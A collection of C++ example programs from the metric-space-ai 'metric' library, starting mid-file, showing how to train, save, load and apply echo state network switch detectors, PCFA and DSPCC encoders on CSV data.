10000); blaze::DynamicMatrix<value_type> ds (ds_pred.rows(), 3, 0); blaze::submatrix(ds, 0, 0, ds_pred.rows(), 3) = blaze::submatrix(ds_pred, 0, 1, ds_pred.rows(), 3); auto est = model.encode(ds); blaze_dm_to_csv(est, "estimation1.csv"); auto end_time = std::chrono::steady_clock::now(); std::cout << "estimation completed in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; auto params = model.get_parameters(); std::cout << std::endl << "used parameters: " << std::endl << "wnd_size: " << std::get<0>(params) << std::endl << "cmp_wnd_sz: " << std::get<1>(params) << std::endl << "washout: " << std::get<2>(params) << std::endl << "contrast_threshold: " << std::get<3>(params) << std::endl << "alpha: " << std::get<4>(params) << std::endl << "beta: " << std::get<5>(params) << std::endl; } // STL example, same with data sored in STL container std::cout << std::endl << std::endl << std::endl << " ---- the same with STL vectors: " << std::endl << std::endl; // read dataset and save model { auto start_time = std::chrono::steady_clock::now(); std::vector<std::vector<value_type>> ds = read_csv_num<value_type>("training_ds_1_fragm.csv"); //, ",", 10000); std::vector<std::vector<value_type>> labels = {}; for (size_t i = 0; i < ds.size(); ++i) { std::vector<value_type> el = ds[i]; std::vector<value_type> l = {el[4]}; labels.push_back(l); ds[i] = {el[1], el[2], el[3]}; // remove 1st and last columns } auto model = SwitchPredictor<value_type>(ds, labels); model.save("tmp2.blaze"); auto end_time = std::chrono::steady_clock::now(); std::cout << "training completed in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; } // load and apply the model { auto start_time = std::chrono::steady_clock::now(); auto model = SwitchPredictor<value_type>("tmp2.blaze"); auto end_time = std::chrono::steady_clock::now(); std::cout << "model loaded in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; start_time = std::chrono::steady_clock::now(); std::vector<std::vector<value_type>> ds = read_csv_num<value_type>("training_ds_2_fragm.csv"); //, ",", 10000); for (size_t i = 0; i < ds.size(); ++i) { std::vector<value_type> el = ds[i]; ds[i] = {el[1], el[2], el[3]}; // remove 1st and last columns } auto est = model.encode(ds); v_to_csv(est, "estimation2.csv"); end_time = std::chrono::steady_clock::now(); std::cout << "estimation completed in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; auto params = model.get_parameters(); std::cout << std::endl << "used parameters: " << std::endl << "wnd_size: " << std::get<0>(params) << std::endl << "cmp_wnd_sz: " << std::get<1>(params) << std::endl << "washout: " << std::get<2>(params) << std::endl << "contrast_threshold: " << std::get<3>(params) << std::endl << "alpha: " << std::get<4>(params) << std::endl << "beta: " << std::get<5>(params) << std::endl; } return 0; }
9,383
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.cpp
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,442
switch_est_online_example.cpp
metric-space-ai_metric/examples/mapping_examples/continious_mappers/classification/switch_est_online_example.cpp
#include "metric/mapping/esn_switch_detector.hpp" #include <iostream> #include <fstream> template <class ValueType> void blaze_dm_to_csv(const blaze::DynamicMatrix<ValueType> & data, const std::string filename, const std::string sep=",") { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.rows(); ++i) { for (auto j = 0; j < data.columns(); j++) { outputFile << std::to_string(data(i, j)); if (j < data.columns() - 1) outputFile << sep; } outputFile << std::endl; } outputFile.close(); } template <typename T> T convert_to(const std::string & str) { std::istringstream s(str); T num; s >> num; return num; } // templated version of stof, stod, etc., thanks to https://gist.github.com/mark-d-holmberg/862733 template <class ContainerType> void v_to_csv(const ContainerType & data, const std::string filename) // single column { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.size(); ++i) { outputFile << std::to_string(data[i]); outputFile << std::endl; } outputFile.close(); } template <class ValueType> std::vector<std::vector<ValueType>> read_csv_num(const std::string filename, const std::string sep=",") { // code dubbing with read_csv, TODO unify and remove one of these functions typedef typename std::vector<ValueType> LINE; std::string line; int pos; std::vector<std::vector<ValueType>> array = {}; std::ifstream in(filename); if(!in.is_open()) { std::cout << "Failed to open file" << std::endl; return array; } while( getline(in,line) ) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(convert_to<ValueType>(field)); } ln.push_back(convert_to<ValueType>(line)); array.push_back(ln); } return array; } int main() { using value_type = double; std::cout << "started" << std::endl << std::endl; // run 1 auto start_time = std::chrono::steady_clock::now(); auto model = SwitchPredictor<value_type>("model.blaze"); auto end_time = std::chrono::steady_clock::now(); std::cout << "model loaded in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl; std::vector<std::vector<value_type>> ds = read_csv_num<value_type>("training_ds_2_fragm.csv"); //, ",", 10000); start_time = std::chrono::steady_clock::now(); std::vector<size_t> sizes = {12, 3, 50}; // sizes of slices we sequential pass std::vector<std::tuple<unsigned long long int, value_type>> all_pairs; { size_t passed = 0; size_t s_idx = 0; all_pairs = {}; while (passed + sizes[s_idx] < ds.size()) { // we still can fetch the slice of given size std::vector<std::vector<value_type>> slice = {}; std::vector<unsigned long long int> slice_indices = {}; for (size_t i = passed; i < passed + sizes[s_idx]; ++i) { std::vector<value_type> sample = {ds[i][1], ds[i][2], ds[i][3]}; slice.push_back(sample); slice_indices.push_back(ds[i][0]); } auto pairs = model.encode(slice_indices, slice); // adds to buffer and gets output once the buffer is fulfilled all_pairs.insert(all_pairs.end(), pairs.begin(), pairs.end()); passed += sizes[s_idx]; s_idx++; if (s_idx >= sizes.size()) s_idx = 0; } } end_time = std::chrono::steady_clock::now(); std::cout << std::endl << std::endl << "online estimation with pair output completed in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl; std::cout << "all pairs:" << std::endl; for (size_t j = 0; j < all_pairs.size(); ++j) { std::cout << "pair: " << std::get<0>(all_pairs[j]) << ", " << std::get<1>(all_pairs[j]) << std::endl; } // run 2, same again but with raw output, console output of estimation should be exactly the same model = SwitchPredictor<value_type>("model.blaze"); // reset the model in order to empty the buffer start_time = std::chrono::steady_clock::now(); { size_t passed = 0; size_t s_idx = 0; std::vector<value_type> predictions = {}; all_pairs = {}; while (passed + sizes[s_idx] < ds.size()) { // we still can fetch the slice of given size std::vector<std::vector<value_type>> slice = {}; std::vector<unsigned long long int> slice_indices = {}; for (size_t i = passed; i < passed + sizes[s_idx]; ++i) { std::vector<value_type> sample = {ds[i][1], ds[i][2], ds[i][3]}; slice.push_back(sample); slice_indices.push_back(ds[i][0]); } auto raw_res = model.encode_raw(slice_indices, slice); // adds to buffer and gets output once the buffer is fulfilled // returns "raw" estimations used for making the full output .csv that contains all samples and is easy to plot std::vector<unsigned long long int> switch_indices = std::get<0>(raw_res); std::vector<value_type> switches = std::get<1>(raw_res); predictions.insert(predictions.end(), switches.begin(), switches.end()); // collecting raw results auto pairs = model.make_pairs(switch_indices, switches); // converts result from raw to paired form all_pairs.insert(all_pairs.end(), pairs.begin(), pairs.end()); passed += sizes[s_idx]; s_idx++; if (s_idx >= sizes.size()) s_idx = 0; } v_to_csv(predictions, "online_estimation.csv"); } end_time = std::chrono::steady_clock::now(); std::cout << std::endl << std::endl << "online estimation with pair and raw output completed in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl; std::cout << "all pairs:" << std::endl; for (size_t j = 0; j < all_pairs.size(); ++j) { std::cout << "pair: " << std::get<0>(all_pairs[j]) << ", " << std::get<1>(all_pairs[j]) << std::endl; } return 0; }
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1,531,443
esn_csv.cpp
metric-space-ai_metric/examples/mapping_examples/continious_mappers/classification/esn_csv.cpp
#include "metric/mapping/ESN.hpp" #include "metric/utils/visualizer.hpp" #include <iostream> #include <fstream> template <class ValueType> void blaze_dm_to_csv(const blaze::DynamicMatrix<ValueType> & data, const std::string filename, const std::string sep=",") { std::ofstream outputFile; outputFile.open(filename); for (auto i = 0; i < data.rows(); ++i) { for (auto j = 0; j < data.columns(); j++) { outputFile << std::to_string(data(i, j)); if (j < data.columns() - 1) outputFile << sep; } outputFile << std::endl; } outputFile.close(); } template <typename T> T convert_to(const std::string & str) { std::istringstream s(str); T num; s >> num; return num; } // templated version of stof, stod, etc., thanks to https://gist.github.com/mark-d-holmberg/862733 template <class ContainerType> ContainerType read_csv(const std::string filename, const std::string sep=",", const size_t lines = 0) { // works with string, does not convert to numbers typedef typename ContainerType::value_type LINE; std::string line; int pos; ContainerType array = {}; std::ifstream in(filename); if (!in.is_open()) { std::cout << "Failed to open file: " << filename << std::endl; return array; } size_t cnt = 0; while (getline(in, line)) { LINE ln; while( (pos = line.find(sep)) >= 0) { std::string field = line.substr(0, pos); line = line.substr(pos+1); ln.push_back(field); } ln.push_back(line); array.push_back(ln); if (lines > 0 && cnt >= lines-1) break; ++cnt; } return array; } template <class ValueType> blaze::DynamicMatrix<ValueType, blaze::rowMajor> read_csv_blaze( const std::string & filename, const std::string sep = ",", const size_t lines = 0 ) { auto array = read_csv<std::vector<std::vector<std::string>>>(filename, sep, lines); auto m = blaze::DynamicMatrix<ValueType, blaze::rowMajor>(array.size(), array[0].size()); for (size_t i=0; i<array.size(); ++i) for (size_t j=0; j<array[0].size(); ++j) m(i, j) = convert_to<ValueType>(array[i][j]); return m; } template <class ValueType> ValueType class_entropy(const blaze::DynamicVector<ValueType> & data, const ValueType threshold) { int sum = 0; ValueType sz = data.size(); for (size_t i = 0; i<sz; ++i) { if (data[i] > threshold) ++sum; } ValueType p1 = sum/sz; if (sum == 0 || sum == sz) return 0; else return -p1*log2(p1) - (1 - p1)*log2(1 - p1); } int main() { using value_type = float; //double; //// first set //size_t wnd_size = 15; //size_t cmp_wnd_sz = 150; //size_t washout = 2500; //value_type contrast_threshold = 0.3; //value_type alpha = 0.1; size_t wnd_size = 15; size_t cmp_wnd_sz = 80; size_t washout = 100; value_type contrast_threshold = 0.2; value_type alpha = 0.4; std::cout << "started" << std::endl << std::endl; bool visualize = false; // only for small datasets that can be represented in an image point to point // dataset passed as Blaze matrix, data points in COLUMNS auto start_time = std::chrono::steady_clock::now(); // preprocessing //blaze::DynamicMatrix<value_type> ds_in = read_csv_blaze<value_type>("training_ds_1_fragm.csv"); //, ",", 10000); //blaze::DynamicMatrix<value_type> ds_in = read_csv_blaze<value_type>("slice.csv"); //, ",", 10000); blaze::DynamicMatrix<value_type> ds_in = read_csv_blaze<value_type>("slice_small.csv"); //, ",", 10000); blaze::DynamicMatrix<value_type> raw_labels (ds_in.rows(), 1); blaze::column(raw_labels, 0) = blaze::column(ds_in, 4); blaze_dm_to_csv(raw_labels, "raw_labels.csv"); blaze::DynamicVector<value_type> feature_stddev (ds_in.rows(), 0); int new_label = 0; for (size_t i = wnd_size; i < feature_stddev.size(); ++i) { auto wnd1 = blaze::submatrix(ds_in, i - wnd_size, 1, wnd_size, 1); auto wnd2 = blaze::submatrix(ds_in, i - wnd_size, 2, wnd_size, 1); auto wnd3 = blaze::submatrix(ds_in, i - wnd_size, 3, wnd_size, 1); feature_stddev[i] = stddev(wnd1) + stddev(wnd2) + stddev(wnd3); if (ds_in(i, 4) >= 1) new_label = 1; if (ds_in(i, 4) <= -1) new_label = 0; ds_in(i, 4) = new_label; } blaze::DynamicMatrix<value_type> ds_all (ds_in.rows(), 4, 0); //blaze::submatrix(ds_all, 0, 0, ds_in.rows(), 3) = blaze::submatrix(ds_in, 0, 1, ds_in.rows(), 3); // fails starting from size near 100000 lines blaze::column(ds_all, 0) = blaze::column(ds_in, 1); blaze::column(ds_all, 1) = blaze::column(ds_in, 2); blaze::column(ds_all, 2) = blaze::column(ds_in, 3); blaze::column(ds_all, 3) = feature_stddev; blaze::DynamicMatrix<value_type, blaze::rowMajor> data = blaze::trans(ds_all); blaze::DynamicMatrix<value_type, blaze::rowMajor> target = blaze::trans(blaze::submatrix(ds_in, 0, 4, ds_in.rows(), 1)); blaze_dm_to_csv(ds_all, "data.csv"); blaze_dm_to_csv<value_type>(blaze::trans(target), "target.csv"); std::cout << std::endl << "ds_in: " << std::endl << blaze::submatrix(ds_in, 0, 0, 10, ds_in.columns()) << std::endl; // TODO remove std::cout << std::endl << "ds_all: " << std::endl << blaze::submatrix(ds_all, 0, 0, 10, ds_all.columns()) << std::endl; // TODO remove // prediction dataset //blaze::DynamicMatrix<value_type> ds_pred = read_csv_blaze<value_type>("training_ds_2_fragm.csv"); //, ",", 10000); blaze::DynamicMatrix<value_type> ds_pred = read_csv_blaze<value_type>("slice_small.csv"); //, ",", 10000); blaze::DynamicMatrix<value_type> raw_labels_pred (ds_pred.rows(), 1); blaze::column(raw_labels_pred, 0) = blaze::column(ds_pred, 4); blaze_dm_to_csv(raw_labels_pred, "raw_labels_pred.csv"); blaze::DynamicVector<value_type> feature_stddev_pred (ds_pred.rows(), 0); new_label = 0; for (size_t i = wnd_size; i < feature_stddev_pred.size(); ++i) { auto wnd1 = blaze::submatrix(ds_pred, i - wnd_size, 1, wnd_size, 1); auto wnd2 = blaze::submatrix(ds_pred, i - wnd_size, 2, wnd_size, 1); auto wnd3 = blaze::submatrix(ds_pred, i - wnd_size, 3, wnd_size, 1); feature_stddev_pred[i] = stddev(wnd1) + stddev(wnd2) + stddev(wnd3); if (ds_pred(i, 4) >= 1) new_label = 1; if (ds_pred(i, 4) <= -1) new_label = 0; ds_pred(i, 4) = new_label; } blaze::DynamicMatrix<value_type> ds_all_pred (ds_pred.rows(), 4, 0); blaze::submatrix(ds_all_pred, 0, 0, ds_pred.rows(), 3) = blaze::submatrix(ds_pred, 0, 1, ds_pred.rows(), 3); blaze::column(ds_all_pred, 3) = feature_stddev_pred; blaze::DynamicMatrix<value_type, blaze::rowMajor> data_pred = blaze::trans(ds_all_pred); blaze_dm_to_csv(ds_all_pred, "data_pred.csv"); auto end_time = std::chrono::steady_clock::now(); std::cout << "data prepared in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; start_time = std::chrono::steady_clock::now(); auto esn = metric::ESN<std::vector<value_type>, void>(500, 5, 0.99, alpha, washout, 0.5); // echo // w_size, w_connections, w_sr, alpha, washout, beta // currently best for old labels: (500, 10, 0.99, 0.9, 2500, 0.5) // and (500, 5, 0.99, 0.1, 2500, 0.5) for binary state labels esn.train(data, target); end_time = std::chrono::steady_clock::now(); std::cout << "training completed in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; start_time = std::chrono::steady_clock::now(); esn.save("esn_image.blaze"); end_time = std::chrono::steady_clock::now(); std::cout << "network saved in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; start_time = std::chrono::steady_clock::now(); //auto prediction = esn.predict(test_data); auto prediction = esn.predict(data_pred); end_time = std::chrono::steady_clock::now(); std::cout << "prediction completed in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; start_time = std::chrono::steady_clock::now(); blaze::DynamicMatrix<value_type, blaze::rowMajor> out = blaze::trans(prediction); // columnMajor does not comfort csv writer //blaze::DynamicMatrix<value_type, blaze::columnMajor> out = blaze::trans(prediction); blaze_dm_to_csv(out, "prediction_pred.csv"); end_time = std::chrono::steady_clock::now(); std::cout << "prediction written in " << double(std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count()) / 1000000 << " s" << std::endl << std::endl; if (visualize) mat2bmp::blaze2bmp_norm(prediction, "ESN_prediction.bmp"); blaze::DynamicMatrix<value_type> sl_entropy (out.rows(), 1, 0); for (size_t i = wnd_size; i < out.rows(); ++i) { blaze::DynamicMatrix<value_type> wnd_row = blaze::submatrix(out, i - wnd_size, 0, wnd_size, 1); blaze::DynamicVector<value_type> wnd = blaze::column(wnd_row, 0); //blaze::trans(blaze::column(wnd_row, 0)); sl_entropy(i, 0) = class_entropy<value_type>(wnd, 0.5); } blaze_dm_to_csv(sl_entropy, "entropy_pred.csv"); std::cout << std::endl << "postprocessing started" << std::endl; //value_type contrast_threshold = 0.3; blaze::DynamicMatrix<value_type> postproc_pred (out.rows(), 1, 0); bool prev_l_flag = false; for (size_t i = cmp_wnd_sz; i < out.rows() - cmp_wnd_sz; ++i) { bool l_flag = false; if (sl_entropy(i, 0) > 0.4) { blaze::DynamicMatrix<value_type> wnd_past = blaze::submatrix(out, i - cmp_wnd_sz, 0, cmp_wnd_sz, 1); blaze::DynamicMatrix<value_type> wnd_fut = blaze::submatrix(out, i, 0, cmp_wnd_sz, 1); int label = 0; if (blaze::mean(wnd_past) - blaze::mean(wnd_fut) < -contrast_threshold) { // TODO determine!! label = 1; l_flag = true; } if (blaze::mean(wnd_past) - blaze::mean(wnd_fut) > contrast_threshold) { // TODO determine!! label = -1; l_flag = true; } if (!prev_l_flag) postproc_pred(i, 0) = label; } prev_l_flag = l_flag; } blaze_dm_to_csv(postproc_pred, "postproc_pred.csv"); std::cout << "all done" << std::endl; return 0; }
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,444
log_pcfa_caller.cpp
metric-space-ai_metric/examples/mapping_examples/continious_mappers/clustering/log_pcfa_caller.cpp
#include <iostream> #include "metric/mapping.hpp" #include "metric/utils/visualizer.hpp" #include "metric/transform/discrete_cosine.hpp" #include "../../assets/helpers.cpp" #include <blaze/Blaze.h> int main() { auto csv = read_csv_blaze<double>("assets/830_905_part1.csv", ","); blaze::DynamicMatrix<double> all_data = blaze::trans(csv); auto model = metric::PCFA_col_factory(all_data, 5); std::cout << "\nTraining done. Start encoding\n"; auto Eigenmodes = model.eigenmodes(); blaze::DynamicMatrix<double> Eigenmodes_rowwise = blaze::trans(Eigenmodes); blaze_dm_to_csv(Eigenmodes_rowwise, "830_905_part1_eigenmodes.csv"); auto Encoded = model.encode(all_data); blaze::DynamicMatrix<double> Encoded_rowwise = blaze::trans(Encoded); blaze_dm_to_csv(Encoded_rowwise, "830_905_part1_encoded.csv"); auto Decoded = model.decode(Encoded); blaze::DynamicMatrix<double> Decoded_rowwise = blaze::trans(Decoded); blaze_dm_to_csv(Decoded_rowwise, "830_905_part1_decoded.csv"); std::cout << "Eencoding done\n"; return 0; }
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,445
DSPCC_example.cpp
metric-space-ai_metric/examples/mapping_examples/continious_mappers/clustering/DSPCC_example.cpp
#include "metric/mapping/DSPCC.hpp" #include "metric/utils/metric_err.hpp" #include "metric/distance/k-related/Standards.hpp" // we use Euclidean metric for mean squared error evaluation #include <iostream> template <typename Container> void print_table(Container table) { for (size_t rec_idx = 0; rec_idx<table.size(); ++rec_idx) { for (size_t el_idx = 0; el_idx<table[0].size(); ++el_idx) std::cout << table[rec_idx][el_idx] << " "; std::cout << "\n"; } } template < template <typename, typename> class OuterContainer, typename OuterAllocator, template <typename, typename> class InnerContainer, typename InnerAllocator, typename ValueType > double mean_square_error( const OuterContainer<InnerContainer<ValueType, InnerAllocator>, OuterAllocator> & M1, const OuterContainer<InnerContainer<ValueType, InnerAllocator>, OuterAllocator> & M2 ) { double overall_sum = 0; double row_sum; size_t row, col; for (row = 0; row < M1.size(); row++) // we assume all inner vectors both in M1 and M2 are of the same langth { row_sum = 0; for (col = 0; col < M1[0].size(); col++) // we assume M1 and M2 are of the same length too row_sum += pow(M1[row][col] - M2[row][col], 2); overall_sum += sqrt(row_sum / M1[0].size()); } return overall_sum / M1.size(); } void print_stats(std::tuple<double, double, double, double, double, double> stats) { std::cout << " average norm of original waveforms : " << std::get<0>(stats) << "\n"; std::cout << " original waveform norm stddev : " << std::get<1>(stats) << "\n"; std::cout << " average absolute error : " << std::get<2>(stats) << "\n"; std::cout << " stddev of absolute error : " << std::get<3>(stats) << "\n"; std::cout << " average normalized error : " << std::get<4>(stats) << "\n"; std::cout << " stddev of normalized error : " << std::get<5>(stats) << "\n"; std::cout << "\n"; } int main() { using RecType = std::deque<double>; RecType d0 {0, 1, 2, 3, 4, 5, 6, 100, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23}; RecType d1 {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 100}; std::vector<RecType> d = {d0, d1}; float freq_time_balance = 0.5; // try values from 0 to 1 (e g 0, 0.5, 1) to get the following portions of freq-domain: 0, 4/9, 8/9 auto bundle = metric::DSPCC<RecType, void>(d, 4, 2, freq_time_balance, 4); auto pre_encoded = bundle.test_public_wrapper_encode(d); auto pre_decoded = bundle.test_public_wrapper_decode(pre_encoded); auto encoded = bundle.encode(d); auto decoded = bundle.decode(encoded); std::cout << "\noriginal:\n"; print_table(d); std::cout << "\npre-decoded:\n"; print_table(pre_decoded); std::cout << "\ndecoded:\n"; print_table(decoded); std::cout << "\nsimple test done\n"; auto err_full_1 = normalized_err_stats<metric::Euclidean<double>>(d, decoded); print_stats(err_full_1); std::cout << "average RMSE = " << mean_square_error(d, decoded) << "\n"; // test Blaze vector input //using RecTypeBlaze = blaze::DynamicVector<double, blaze::columnVector>; // also works using RecTypeBlaze = blaze::DynamicVector<double, blaze::rowVector>; RecTypeBlaze dBlaze1 {0, 1, 2, 3, 4, 5, 6, 100, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23}; RecTypeBlaze dBlaze2 {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 100}; std::vector<RecTypeBlaze> dBlaze {dBlaze1, dBlaze2}; auto bundleBlaze = metric::DSPCC<RecTypeBlaze, void>(dBlaze, 3, 2, 0.5, 3); auto encodedBlaze = bundleBlaze.encode(dBlaze); auto decodedBlaze = bundleBlaze.decode(encodedBlaze); std::cout << "decoded Blaze vector:\n"; for (size_t i=0; i<decodedBlaze.size(); ++i) { std::cout << decodedBlaze[i]; } return 0; }
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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